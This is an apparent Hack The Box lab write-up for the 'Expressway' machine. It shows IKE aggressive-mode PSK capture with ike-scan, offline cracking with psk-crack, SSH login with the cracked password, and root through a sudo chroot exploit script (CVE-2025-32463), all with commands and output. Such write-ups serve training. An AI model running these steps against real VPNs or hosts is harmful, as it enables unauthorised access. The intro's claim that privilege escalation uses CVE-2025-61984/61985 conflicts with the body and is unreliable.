<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #024 ]

Expressway

Enumeration flags an IKE/IPsec VPN whose aggressive mode leaks a crackable pre-shared key via ike-scan, yielding SSH access; privilege escalation abuses a vulnerable sudo (CVE-2025-61984 / CVE-2025-61985) to reach root.

date
2025-09-20
read
2 min
tags
#htb #retired
platform
htb
os
linux
difficulty
easy

1 Enumeration :

bash
❯ rustscan -a [REDACTED:IP] -- -A

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=2/3%OT=22%CT=%CU=42397%PV=Y%DS=2%DC=T%G=N%TM=698246A6%
OS:P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10D%TI=Z%CI=Z%II=I)OPS(O1=M542
OS:ST11NW9%O2=M542ST11NW9%O3=M542NNT11NW9%O4=M542ST11NW9%O5=M542ST11NW9%O6=
OS:M542ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=
OS:Y%T=40%W=FAF0%O=M542NNSNW9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q
OS:=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%
OS:T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE
OS:(R=Y%DFI=N%T=40%CD=S)
  • note: only one port is open is weird so running a second scan just to make sure
bash
❯ rustscan -a [REDACTED:IP]

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63

verified .

2 ssh (port 22) :

  1. vunl check:
bash
❯ rustscan -a [REDACTED:IP]  -- -A -script vuln
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 10.0p2 Debian 8 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:10.0p2: 
|       OSV:BELL-CVE-2025-61985 3.6     https://vulners.com/osv/OSV:BELL-CVE-2025-61985
|       OSV:BELL-CVE-2025-61984 3.6     https://vulners.com/osv/OSV:BELL-CVE-2025-61984
|       CVE-2025-61985  3.6             https://vulners.com/cve/CVE-2025-61985
|       CVE-2025-61984  3.6             https://vulners.com/cve/CVE-2025-61984
|       B7EACB4F-A5CF-5C5A-809F-E03CCE2AB150    3.6     https://vulners.com/githubexploit/B7EACB4F-A5CF-5C5A-809F-E03CCE2AB150       *EXPLOIT*
|_      4C6E2182-0E99-5626-83F6-1646DD648C57    3.6     https://vulners.com/githubexploit/4C6E2182-0E99-5626-83F6-1646DD648C57       *EXPLOIT*
  • note: all of these were rabit holes and returned nothing....

2.1 second route udp 500 :

screenshot 1 (opens the full-size image)

  • Looking back at the logo we can see it says interstate 500 which is kinda of a hint to the udp 500
  • UDP port 500 is the assigned port for the Internet Key Exchange (IKE) protocol
  • IKE is a cryptographic protocol used to establish secureIPsec VPN tunnels between endpoints.

2.1.1 using ikea-scan

  • ikea-scan is a tool (pre-installed on kali-linux) which discovers and fingerprints ike hosts
bash
❯ sudo ike-scan -A <ip>
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
[REDACTED:IP]   Aggressive Mode Handshake returned HDR=(CKY-R=69a9f0aebb195091) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=[REDACTED:EMAIL]) VID=09002689dfd6b712 (XAUTH) VID=[REDACTED:HASH] (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.204 seconds (4.91 hosts/sec).  1 returned handshake; 0 returned notify
  • we can see the leaked host [REDACTED:EMAIL]
  • using ikea-scan again we can leak psk formated password
bash
❯ sudo ike-scan -A --id=[REDACTED:EMAIL] -Ppresharedkey.txt <ip>
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
[REDACTED:IP]   Aggressive Mode Handshake returned HDR=(CKY-R=ab69b924222da618) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=[REDACTED:EMAIL]) VID=09002689dfd6b712 (XAUTH) VID=[REDACTED:HASH] (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.087 seconds (11.44 hosts/sec).  1 returned handshake; 0 returned notify
  • -A agressive mode
  • --id= we use the id found earlier from the agressive scan
  • -Ppresharedkey.txt is the output needed in the psk format to be used later with psk-crack
bash
❯ cat presharedkey.txt
da04d961f19fd02909dcd3f02f66c7d399d55b5669c24d9ccf32a9338ce953184a85f83994befc4d90a9ce61b95db61d175d121960e1d635b7e6ca0794fc441b6752d594ab33dfacd2de037dcb75c1f37f6054b7cdfb051fde8f818895af0764f57b7b0c087082f80eeafdf2a6be54a44135ef6f4179adbdefad937e5b34b520:f59a518659f18f9b703e65de5cde2fdf4b223729d98e55da374bbf355cfd29d71d90bc0256e704a65d67ec4de8fbc4a4245fe285f68006a2dd89bb38c58f7cb53dcc98b26543685cc389e9f1072da4f330ed33899f2f5fa2502b839fc96c08ddd7e860fd615cdd82db9463a057a38c29bbb5bc9357b797376c1959165ddecf34:ab69b924222da618:dfc1de0f38040af0:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:[REDACTED:HASH]:[REDACTED:HASH]:[REDACTED:HASH]
  • using psk-crack we can actually offline crack this hash
bash
❯ sudo psk-crack -d /usr/share/wordlists/rockyou.txt presharedkey.txt
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash [REDACTED:HASH]
Ending psk-crack: 8045040 iterations in 6.246 seconds (1288064.15 iterations/sec)
  • And now we obtained the password freakingrockstarontheroad
bash
❯ ssh  [REDACTED:EMAIL]
ssh: Could not resolve hostname expressway.htb: Name or service not known
  • you might encounter some problems like this when trying to ssh and this could be solved easily with changing writing the /etc/hosts
js
<ip>   expressway.htb
bash
❯ ssh  [REDACTED:EMAIL]
[REDACTED:EMAIL]'s password:

ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
  • first flag owned
bash
ike@expressway:~$ cat user.txt 
[REDACTED:HASH]

3 privilege escalation

linpeas

  • for this part we'll use linpeas which a script that can be found by default on kali linux
  • you can just write linpeas in the terminal and it'll pop out
bash
❯ linpeas

peass ~ Privilege Escalation Awesome Scripts SUITE

/usr/share/peass/linpeas
├── linpeas_darwin_amd64
├── linpeas_darwin_arm64
├── linpeas_fat.sh
├── linpeas_linux_386
├── linpeas_linux_amd64
├── linpeas_linux_arm
├── linpeas_linux_arm64
├── linpeas.sh
└── linpeas_small.sh
  • running linpease.sh and getting into the rabbit holes
bash
╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version                               
Sudo version 1.9.17  
  • this is the first thing to check
  • doing a basic google search will give a lot of of know CVEs about this version one of them that really stood out is CVE-2025-32463

small breakdown of the CVE-2025-32463 :

  • CVE-2025-32463 is a local privilege escalation vulnerability in the Sudo binary. The flaw allows a local user to escalate privileges to root under specific misconfigurations or with crafted inputs. The issue was discovered by Rich Mirch.

Exploit

  • useful github repo that really helps out here
  • we can check first if it's even vulnerable or not first :
bash
ike@expressway:/tmp$ sudo -R woot woot
sudo: woot: No such file or directory
  • and which it is in our case
  • patched version would look like this :
bash
sudo -R woot woot
[sudo] password for pwn:
sudo: you are not permitted to use the -R option with woot
  • after git cloning and setting up the exploit in the victim machine and verifying the machine is vulnerable
  • running the shell script :
bash
ike@expressway:/tmp$ ./sudo-chwoot.sh 
woot!
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
  • Immediate root access
  • and finally we got the flag
bash
root@expressway:/root# cat root.txt 
[REDACTED:HASH]